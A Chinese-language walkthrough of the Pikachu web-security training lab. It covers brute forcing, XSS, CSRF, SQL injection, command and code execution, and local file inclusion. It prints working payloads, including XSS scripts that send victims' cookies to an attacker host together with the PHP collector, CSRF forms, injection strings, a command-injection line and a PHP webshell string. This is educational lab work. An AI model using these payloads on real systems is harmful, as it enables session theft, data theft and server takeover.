pikachu靶场

暴力破解

基于表单的暴力破解

1.首先打开靶场,挂上代理(127.0.0.1默认不抓包,所以写本机的ip地址)
2.抓到数据包
(img-Nn1dbBKs-1602122701556)(./图片/1.png)]

3.发送到intuder(暴力破解)模块,点击clear清除掉变量,再将username字段和password字段的值设为变量,并选择cluster bomb(集束炸弹)模式

username=§dsadsa§&password=§dsada§&submit=Login

4.在payload中选择runtime file(注意路径,中文路径会无法加载),payload1选择用户名字典,payload2选择密码字典。
1602122701560)(./图片/2.png)]

(img-N1jt4mug-1602122701562)(./图片/3.png)]

5.选择线程数,但是,社区版不能设置线程数,开始爆破
6.在爆破结果中,点击length,按返回报文长度排序,找出特殊的那个,进行尝试,登录成功

服务器端验证码绕过

1.首先看到界面
(img-sgwJah3W-1602122701564)(./图片/4.png)]

2.随便输入用户名和密码,输入正确验证码,然后点击登录进行抓包,发送到inturder模块,再将包给丢掉,还是将username和password设为变量.submit参数,进行unicode解码后,是“登录”的意思。

submit=%E7%99%BB%E5%BD%95

3.开始爆破,筛选结果,尝试登录成功
**思考:**这一关,个人认为似乎没有体现出服务器端验证的作用,因为它一个验证码居然可以反复验证,当然,我不清楚这是否是后端的常用机制。当然,即使后端会每次发送一个新的验证码,我们也可以在返回包中提取出来。

客户端验证码绕过

这一关比较简单是前端验证码机制,因此,只需要前端正确输入验证码,抓包后的验证码随便改变甚至删除也能正常进行爆破,因为后端并没有对验证码这一字段进行验证。

含token的爆破

token机制的主要作用其实更加在于防止表单重复提交和CSRF攻击,在这里虽然能起到一定防止暴力破解的作用,但是用处并不大
1.这次就直接放请求正文吧,将password和token值设置为变量。

username=admin&password=§dsadsad§&token=§333485f76e8d8d0a4e251594677§&submit=Login

2.因为token是每次请求时签发的,所以需要使用pitchfork(单叉模式,两个payload一一对应)
3.在options中的grep-extract中选择fetch response,选中token值,再将下方的redirections选择为always
4.选择payload2为recursive grep,并将第一次的token粘贴到下方,线程设为1,开始爆破
(img-4wVWidY8-1602122701565)(./图片/5.png)]

5.爆破成功

跨站脚本攻击

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

        XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
        形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
        输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
        输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
XSS测试流程
1、在目标上找输入点,比如查询接口、留言板
2、 输入一组 “特殊字符(>,’,"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理
3、通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)
4、 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

反射型xss(get型)

这一关涉及到一个文件“cookie.php”,即提取cookie的文件
第一关就比较特别,限制了payload的长度,修改页面代码,修改限制长度后成功。
修改input限制长度后,提交如下payload,表示跳转到该页面,并写入cookie。

<script>document.location='http://192.168.1.102/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

跳转到该页面之后,页面会将写入的cookie提取出来,这样,攻击者就成功窃取到了用户在该网站的cookie。

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.102/pikachu/index.php");//重定向到一个可信的网站

?>

如下为构造出来的xss攻击的payload,使用短链接生成器,发送给受害者,一旦受害者点击,他的cookie就会被窃取。

http://192.168.1.102/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.1.102%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
反射型xss(post型)

这一关涉及到两个文件,一个是自动提交表单的“post.html”文件,另一个是提取cookie的“cookie.php”
还比较特别的一点是,需要登录之后,才能提交表单,post型xss的攻击方法需要探讨一下。
1.设想一个场景,攻击者在浏览网页时,发现了192.168.3.132这个网站存在着xss漏洞
2.这是一个post型的xss,于是,攻击者自己搭建了一个站点192.168.1.102,上面存放了这样一个文件"post.html"

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}//onload事件会在页面加载完成后,立即执行JavaScript代码
//click()方法会自动点击按钮
</script>
</head>
<body>
<form method="post" action="http://192.168.3.132/pikachu/vul/xss/xsspost/xss_reflected_post.php"> 
<!-- 将表单提交到含xss漏洞的页面 -->
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.1.102/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
     />
     <!-- 恶意的脚本文件被提交到含xss漏洞的页面,该页面的的cookie值被发送给攻击者,攻击者成功窃取到受害人cookie -->
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

构建了一个表单,在表单中构造恶意代码,用户点击时会自动提交到存在xss漏洞的网页,并被执行
3.攻击者将自己的恶意链接网址发送给受害者,经过一番尝试,有成功,也有失败,具体原因不是特别明确,或许有浏览器同源限制的原因。又或者是重定向之后,需要登录验证的原因。

http://192.168.1.102/pikachu/pkxss/xcookie/post.html
存储型xss

这是一个留言板,我们在留言板中提交恶意代码,构造一张看不见的图片,当用户访问时,就会加载页面,并且将其cookie发送到我们自己的服务器中。

<script>document.write('<img src="http://192.168.1.102/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie+'" width=0 height=0 >')</script>

这是一个留言板,我们在留言板中提交恶意代码,这样,当用户访问时,就会加载页面,并且将其cookie发送到我们自己的服务器中。

DOM型xss

DOM型xss是比较特殊的,产生DOM型xss的原因是DOM获取到了前端的输入并载入到DOM节点中作为输出,相比与反射型和存储型,它是不与后端交互的
1.先检测一下输入输出,输入 123 ,查看页面
(img-YtUASGJT-1602122701568)(./图片/7.png)]

2.可以看到,页面中出现了双引号,需要进行闭合,输入 123" οnclick=alert(1) ,再查看源代码。
(img-dKtbKSCP-1602122701569)(./图片/6.png)]

3.再继续进行输入检测,输入 123" οnclick=alert(1) <> ’ " ,出现如下结果
(img-IXc6Vkki-1602122701570)(./图片/8.png)]

4.输入 123" οnclick=alert(1) <> ’ ,
(img-gXYN2KSo-1602122701571)(./图片/9.png)]

5.看得有点迷糊,但是可以发现,双引号被当成了普通的字符串,而单引号却没有,甚至,会在单引号前边自动加上一个双引号。
6.来审查一下源代码

<div id="xssd_main">
    <script>
        function domxss(){
        var str = document.getElementById("text").value;
        //通过id获取到输入框中的值,并赋值给str
        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
        //在id=“dom”的起止标签中间插入一个<a>标签,并将输入框中获取到的字符串拼接到<a>标签里面
        //所以,要想闭合,实际上需要用的是单引号
        //123" οnclick=alert(1) <> '    <a href='123" onclick=alert(1) <> ''>what do you see?</a>
        }
        //试试:'><img src="#" οnmοuseοver="alert('xss')">
        //试试:' οnclick="alert('xss')">,闭合掉就行    
    </script>
    <!--<a href="" onclick=('xss')>-->
    <input id="text" name="text" type="text"  value="" />
    <input id="button" type="button" value="click me!" onclick="domxss()" />
    <div id="dom"></div>
</div>

7.使用单引号闭合,或者是使用JavaScript伪协议,输入 javascript:alert(1),至于更深层次的利用方法,现在暂时不了解,留待学习JavaScript后加强

DOM型xss-X

这关,如果是使用JavaScript伪协议的话,就没什么特别的,就是需要多点击一下下面的文本而已。那下面我们使用闭合引号,事件来触发。
1.按照上一关的方法直接就成功了,而且测试了一下,闭合单引号以后,后边的双引号是可以正常使用的。
输入 #’ οnclick=“alert(‘1’)”>
(img-tMWaVqrx-1602122701571)(./图片/10.png)]

但还是来审查一波源代码,走一个流程。这个程序的执行,总共有着三个步骤。
1.在输入框中输入数据,点下按钮,表单以get方式提交,但明没有页面跳转,仅是将数据加载到url中

<form method="get">
    <input id="text" name="text" type="text"  value="" />
    <input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>

2.下面一段代码检测,url中是否设置了“text参数”,如果设置了,就会在页面中增加一个超链接的DOM节点。

$html='';
if(isset($_GET['text'])){
    $html.= "<a href='#' οnclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}

(img-XZvsOd5y-1602122701572)(./图片/13.png)]

3.点击超链接,触发onclick事件,调用domxss()函数。读取url后的参数,截取除“?text=”的部分,并解码,再使用正则表达式将url中出现的\全局替换为空格,最后将得出的payload拼接到标签中。

  • Location.search
    Location的search属性是一个可读可写的字符串,可设置或返回当前 URL 的查询部分(问号?之后的部分)。
  • decodeURIComponent
    对 encodeURIComponent() 函数编码的 URI 进行解码
  • string.split(separator,limit)
    separator 可选。字符串或正则表达式,从该参数指定的地方分割 string Object。
    limit 可选。该参数可指定返回的数组的最大长度。如果设置了该参数,返回的子串不会多于这个参数指定的数组。如果没有设置该参数,整个字符串都会被分割,不考虑它的长度。
<script>
    function domxss()
    {
        var str = window.location.search;
        var txss = decodeURIComponent(str.split("text=")[1]);
        var xss = txss.replace(/\+/g,' ');
//alert(xss);

        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
    }
    //试试:'><img src="#" onmouseover="alert('xss')">
    //试试:' οnclick="alert('xss')">,闭合掉就行
</script>
xss盲打

看名字,xss盲打,虽然不太懂什么意思,但是看了一下界面
(img-Lhl9uFjK-1602122701573)(./图片/11.png)]

emmmm,存在了两个输入框,我就在两个输入框都构造payload,然后,按照提示,登录后台查看,发现成功弹框,并且根据自己的输入可以知道,xss漏洞出现在姓名这一栏。
(img-QowMJt9i-1602122701574)(./图片/12.png)]

查看源代码,但没想明白,明明是一样的操作,为什么会只有一个xss脚本被执行,不过,经过我又一次的尝试,成功执行了两个,之前大概是输入错误了

$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){
    $content=escape($link, $_POST['content']);
    $name=escape($link, $_POST['name']);
    $time=$time=date('Y-m-d g:i:s');
    $query="insert into xssblind(time,content,name) values('$time','$content','$name')";
    $result=execute($link, $query);
    //执行sql语句
    if(mysqli_affected_rows($link)==1){
        //判断是否插入成功
        $html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
    }else {
        $html.="<p>ooo.提交出现异常,请重新提交</p>";
    }
}
  • array_key_exists(key,array)
    该函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
xss之过滤

大小写轻松绕过,查看源代码,是仅仅对 <script 进行了过滤为空,因此,大小写是可以轻松绕过的,但是尝试双写却没有成功

if(isset($_GET['submit']) && $_GET['message'] != null){
    //这里会使用正则对<script进行替换为空,也就是过滤掉
    $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
//    $message=str_ireplace('<script>',$_GET['message']);
xss之htmlspecialchars

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &amp;
" (双引号)成为 &quot;
’ (单引号)成为 ’ (htmlspecialchars默认不会处理单引号)         &#039;
< (小于)成为 &lt;
> (大于)成为 &gt;
这关使用JavaScript伪协议可以绕过,除此之外,单引号没有被过滤,可以构造闭合。
拼接代码的语句如下

$html2.="<a href='{$message}'>{$message}</a>";

输入 ’ οnclick=alert(1),拼接结果如下,所以,需要闭合单引号

$html2.="<a href='' οnclick=alert(1)'>{$message}</a>";

输入 ’ οnclick='alert(1) ,完成闭合,成功

xss之href输出

此关,同时使用了htmlspecialchars并且使用了ENT_QUOTES参数

  • ENT_COMPAT - 默认,仅编码双引号。
  • ENT_QUOTES - 编码双引号和单引号。
  • ENT_NOQUOTES - 不编码任何引号。
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);

所以,使用单引号是无法进行绕过的,只能使用JavaScript伪协议了。

xss之js输出

这是比较特殊的一关,这关有这么两段代码
第一段,判断提交的参数并获取,如果参数值为“tmac”,则输出一张图片

if(isset($_GET['submit']) && $_GET['message'] !=null){
    $jsvar=$_GET['message'];
//    $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
    if($jsvar == 'tmac'){
        $html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
    }
}

第二段,有点看得不是很明白,首先判断 $jsvar 长度,如果输出长度不为0,则进行下一步判断,并输出文本。
从代码中可以看到,出现了 $jsvar,并且是直接拼接到js代码块中,因此可以闭合<script>标签,构造payload。

<script>
    $ms='<?php echo $jsvar;?>';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }

</script>
//这里将输入动态的生成到了js中,形成xss
//javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义

//讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修复?
//这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
//所以在JS的输出点应该使用\对特殊字符进行转义

payload如下

</script><script>alert(1)</script>

CSRF

CSRF(get)

1.首先进行登录,进入个人页面,点击修改个人信息
(img-gX3mqmoe-1602122701576)(./图片/14.png)]

2.开启burp并提交表单进行抓包,将抓到的数据包构造成一个恶意链接
(img-2IonU7bt-1602122701577)(./图片/15.png)]

http://192.168.1.102/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678&add=%E6%9A%97%E7%BD%91&email=vince%40pikachu.com&submit=submit

3.在另一个浏览器中打开页面,登录另一个账号,模拟受害者,点击该恶意链接,此时受害者的个人信息成功被改写
(img-zaRZEuji-1602122701578)(./图片/16.png)]

CSRF(post)

其实,整体的思路上可以参考post型xss,构造一个自动提交的表单,诱导受害者去点击。
1.登录,然后抓包,右键单击,选中Engagement tools中的Generate CSRF POC,生成了一个CSRF的POC可用于检测页面是否存在CSRF漏洞
(img-p4kKudu2-1602122701579)(./图片/17.png)]

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.102/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="boy" />
      <input type="hidden" name="phonenum" value="12345678" />
      <input type="hidden" name="add" value="&#154;&#151;&#189;&#145;" />
      <input type="hidden" name="email" value="vince&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2.将该poc代码保存为html文件,构造一个恶意链接

http://192.168.1.102/pikachu/vul/csrf/csrfpost/post.html

3.登录一个账号,在登录状态下访问该链接,并点击按钮提交表单,在实际应用中应该使用一个隐藏的,自动提交表单来触发
(img-YTyJOrli-1602122701580)(./图片/18.png)]

4.受害者的个人信息被修改

CSRF token

1.Burp抓包,发现,对用户有token机制的验证参数,估计是无法绕过的,但还是尝试一下吧
(img-g1WGgZAM-1602122701581)(./图片/19.png)]

2.尝试之后确实是无法绕过,那这里来分析一下源代码(修改个人信息页面源码),本关涉及到6个文件,token_get_login(登录页面),token_get(个人信息页面),token_get_edit(修改个人信息页面),除了表面这三个文件,还有靶场配置文件,数据库连接文件,函数配置文件。
3.流程分析

  • token_get_login(登录页面):
$link=connect();

//判断是是否登录,如果已经登录,点击时,直接进入会员中心
if(check_csrf_login($link)){
    header("location:token_get.php");
}


$html='';
if(isset($_GET['submit'])){
    if($_GET['username']!=null && $_GET['password']!=null){
        //转义,防注入
        $username=escape($link, $_GET['username']);
        $password=escape($link, $_GET['password']);
        $query="select * from member where username='$username' and pw=md5('$password')";
        $result=execute($link, $query);
        if(mysqli_num_rows($result)==1){
            $data=mysqli_fetch_assoc($result);
            //从结果集中取得一行作为关联数组
            $_SESSION['csrf']['username']=$username;
            $_SESSION['csrf']['password']=sha1(md5($password));
            //如果在数据库中查找到对应的一行数据,那么给用户设置一个session
            header("location:token_get.php");
        }else{
            $html.="<p>登录失败,请重新登录</p>";
        }

    }

}
  • token_get(个人信息页面)
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_csrf_login($link)){
//    echo "<script>alert('登录后才能进入会员中心哦')</script>";
    header("location:token_get_login.php");
}

if(isset($_GET['logout']) && $_GET['logout'] == 1){
    session_unset();
    session_destroy();
    setcookie(session_name(),'',time()-3600,'/');
    //判断用户是否提交了退出登录的参数,如果提交了,则销毁原先设置的session,并重新为用户号设置一个cookie
    header("location:token_get_login.php");
}

?>

在这里,调用了一个check_csrf_login函数,如下是该函数

//在访问一个页面时,先验证是否登录,csrf里面,使用的是session验证
function check_csrf_login($link){
    if(isset($_SESSION['csrf']['username']) && isset($_SESSION['csrf']['password'])){
        $query="select * from member where username='{$_SESSION['csrf']['username']}' and sha1(pw)='{$_SESSION['csrf']['password']}'";
        $result=execute($link,$query);
        if(mysqli_num_rows($result)==1){
            return true;
        }else{
            return false;
        }
    }else{
        return false;
    }
}
  • token_get_edit(修改个人信息页面)
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_csrf_login($link)){
//    echo "<script>alert('登录后才能进入会员中心哦')</script>";
    header("location:token_get_login.php");
}

$html1='';


if(isset($_GET['submit'])){
    if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token']){
        //判断提交的参数里面是否含有token值,并且是否与session中的token值一致
        //转义
        $getdata=escape($link, $_GET);
        $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
        $result=execute($link, $query);
        //没有修改,点击提交,也算修改成功
        if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
            header("location:token_get.php");
        }else {
            $html1.="<p>修改失败,请重新登录</p>";

        }
    }
}
//生成新的token
set_token();

?>

SQL注入

数字型注入(post)

这关给出了一个select标签,通过表单提交数据,抓取数据包,并发送到reapter模块
(img-WzCnu4BE-1602122701582)(./图片/20.png)]

1.既然明确说出了是数字型,那我们直接输入 and 1=1 和 and 1=2 ,发现 and 1=1时能正确查找到,而 and 1=2 时查询失败,所以存在sql注入漏洞
(img-PER8RSDb-1602122701583)(./图片/21.png)]

2.order by判断列
3.union查询

字符型注入(get)

不想在赘述了,直接跳过吧,这些都可以参考sqli-labs

搜索型注入

这一关使用的是一个搜索框,输入部分用户名时,会查找到完整的用户名。
(img-6IRPWUMM-1602122701584)(./图片/22.png)]

于是,我尝试输入 ko’ ,于是出现了以下报错
(img-EsYS55P7-1602122701586)(./图片/23.png)]

据此,我们本想推测查询语句,但是却陷入了纠结,甚至去查看了源代码。并添加语句将我们的查询语句进行了输出。

$query="select username,id,email from member where username like '%$name%'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        //彩蛋:这里还有个xss
        $html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
        while($data=mysqli_fetch_assoc($result)){
            $uname=$data['username'];
            $id=$data['id'];
            $email=$data['email'];
            $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    }else{

        $html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
    }

(img-T3c6w9iS-1602122701587)(./图片/24.png)]

原来,在这个地方,报错语句的结尾并不是一个双引号,而是两个单引号,下次遇到这种情况,鼠标复制一下进行判定,并且此处查询用的判断条件是like,知道源码之后,进行闭合即可。
(img-v47ZDJbr-1602122701588)(./图片/25.png)]

xx型注入

以为会是什么新奇的东西,但是,随便输入一个单引号就产生了报错,报错语句如下,就是一个普通的 ')闭合

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1  
insert/update注入

进入关卡,要求我们先登录,既然是insert/update注入,那我们就先进行登录,然后来到修改个人信息的页面,随便在一个字段中添加一个单引号,就产生了报错。
(img-nocjnCdA-1602122701589)(./图片/26.png)]

报错信息如下

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '6666',address='广州',email='vince@pikachu.com' where username='vince'' at line 1

通过报错信息,我们可以判断出,判断条件是username,其他的都是被修改的。再来看一下源代码。

if(isset($_POST['submit'])){
    if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){
//        $getdata=escape($link, $_POST);

        //未转义,形成注入,sql操作类型为update
        $getdata=$_POST;
        $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
            header("location:sqli_mem.php");
        }else {
            $html1.='修改失败,请重试';

        }
    }
}

我们将执行的语句输出一下,原来, ‘,phonenum=’ 这个地方形成了一个闭合,所以有了这样的报错语句。

update member set sex='boy'',phonenum='6666',address='广州',email='vince@pikachu.com' where username='vince'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '6666',address='广州',email='vince@pikachu.com' where username='vince'' at line 1  

出于好奇心,去了注册页面想试一下二次注入,没想到,直接给我报了个错,都不用再尝试二次注入了,直接就存在注入,也是因为没有进行转义。

delete注入

这一关是一个留言板,尝试了一番,直接在留言板里输入,但是没有结果
(img-jMYOAo7d-1602122701590)(./图片/27.png)]

只好去查看源代码

if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    //插入转义
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="<p>出现异常,提交失败!</p>";
    }
}

// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        header("location:sqli_del.php");
    }else{
        $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
    }
}

知道原来有个 id 参数,于是赶紧开启抓包,稍加判断,原来是一个数字型的注入。对于这种delete型的sql注入,使用报错注入成功取得数据库名。

?id=70+or+updatexml(2,concat(0x7e,(database())),0)
XPATH syntax error: '~pikachu'
“http header”注入

看名字就能猜测注入点了,不过,还是得去进行验证
(img-FF34lwcI-1602122701591)(./图片/28.png)]

来看登录结果图,可以看到,总共反馈了四个字段,当然不排除有隐藏的交互,记住一句话“任何与数据库有交互的地方都可能存在sql注入”,不过,端口这个是在我们的数据包无法操作的,所以我们挨个尝试。
ip字段不成功,本关存在页面跳转,在页面跳转时,添加的单引号消失了
User-Agent字段成功,经验证,在页面跳转时发送的第二个数据包中修改,能够有效实现注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag' at line 1

accept字段也成功,除此之外,cookie字段也存在着注入。但是看了许久的报错信息,我也没太看懂,
只好打印一下执行的sql语句

insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('1','192.168.1.104','Mozilla/5.0'','text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','43486')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag' at line 1

构造如下语句,成功爆出数据库名

User-Agent: Mozilla/5.0' or updatexml(1,concat(0x7e,database()),0) or'1=1
insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('1','192.168.1.104','Mozilla/5.0' or updatexml(1,concat(0x7e,database()),0) or'1=1','text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','43824')
XPATH syntax error: '~pikachu'
盲注(base on boolean)

做这关的时候,思路有点不清晰,看来sqli-labs已经过去太久了,这都忘了
1.首先要判断注入点

  • ’ and 1=1#         ’ and 1=2#
  • " and 1=1#         " and 1=2#
  • ') and 1=1#         ') and 1=2#
    照此规律往下即可,因为布尔盲注不会反馈出报错信息,所以我们只能从这些语句中寻找到能够正常执行的,来判断出闭合的符号。

2.构造条件语句

  • kobe’ and length(database())=7#
  • kobe’ and substr(database(),1,1)=‘p’#
    3.确定存在漏洞之后,编写python脚本或使用burp即可,亦或者直接使用sqlmap
盲注(base on time)

想按照上一关的步骤来测试,但是,下方提示 “i don’t care who you are!”,于是直接构造payload “ kobe’ and if(length(database())=7,sleep(5),0)# ”,页面延迟显示,说明成功。

宽字节注入

1.什么叫宽字节注入?

先不忙着深入分析,我们先从整体上知道宽字节注入到底是指什么。按我的理解来总体概述一下:

【MySQL是用的PHP语言,然后PHP有addslashes()等函数,这类函数会自动过滤 ’ ‘’ null 等这些敏感字符,将它们转义成’ ‘’ \null;然后宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸。】

2.什么情况下存在宽字节注入?

宽字节的注入条件有两个:

  • 数据库编码设置成GB系列

这里说的GB系列编码,不是指PHP页面的编码,而是连接数据库使用的编码

  • 使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。

常见的包括addslashes()、mysql_real_escape_string()函数。
转义函数的转义作用,就是我们常说的“过滤机制”。
3.进入正题,凭着我做sqli-labs的经验,我直接就在输入框中提交我的参数 1%df’ and 1=1# 但是却始终无法成功,终于,我使用了Burp抓下包
我的参数被url编码了,将其重新编写,并且使用payload “ 1%df’ or 1=1#
(img-SRXXRINI-1602122701592)(./图片/30.png)]

RCE(remote command/code execute)概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
      一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
      比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
      一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

      现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"

远程代码执行
      同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
      因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

exec"ping"

看一下关键源代码

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
        //php_uname — 返回运行 PHP 的系统的有关信息,据此判断系统信息,使用不同ping命令
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }

}

直接使用如下payload,成功实现两个命令,此处仅做了解,更深层次的绕过,留待之后。

192.168.3.132&net start
exec"eval"

查看源代码,使用了eval执行php代码。

if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

    }

}

提交一个 “ phpinfo(); ”,直接被执行。

File inclusion

File inclusion(Local)

千锋的老师讲过:当已知一个文件存在本地文件包含漏洞,但是却没有api接口怎么办。
这时候,我们就需要利用上服务器本地的错误日志文件了。
好,来到这一关,我们随便提交一个参数,得到如下结果,显然,filename是其文件包含的参数值
(img-9lBzo203-1602122701593)(./图片/31.png)]

构造如下url请求

http://192.168.1.101/pikachu/vul/fileinclude/fi_local.php?filename=%3C?php%20@eval($_request[%27cmd%27])?%3E&submit=%E6%8F%90%E4%BA%A4

可以看到,原本的 < > ’ 被进行了url编码,于是提交之后产生了错误,而且最难受的是,查看了一下错误日志,发现,居然都没有记录下这个错误,因为这个是在代码执行时发生的错误,所以没有被记录。只好打开Burp抓包,避免url编码,看能否正常执行。经过一番尝试之后,失败了,因为我发现问题不是出在url编码上,而是 < > 被转义为字符实体了。

 PHP Warning:  include(): Failed opening 'include/&lt;?php @eval($_request['cmd']) ;?&gt;' for inclusion (include_path='.;C:\\php\\pear')  

既然如此,那只能包含以下hosts文件了,或者是C:\windows\system32\config\sam文件,不过,包含的时候遇到点小问题,写 C:/… 就会出错,所以使用 …/的方式回到根目录。审查了一下源代码找到了原因,原来在文件包含时,指定了一个文件夹。

include "include/$filename";
http://192.168.3.131/pikachu/vul/fileinclude/fi_local.php
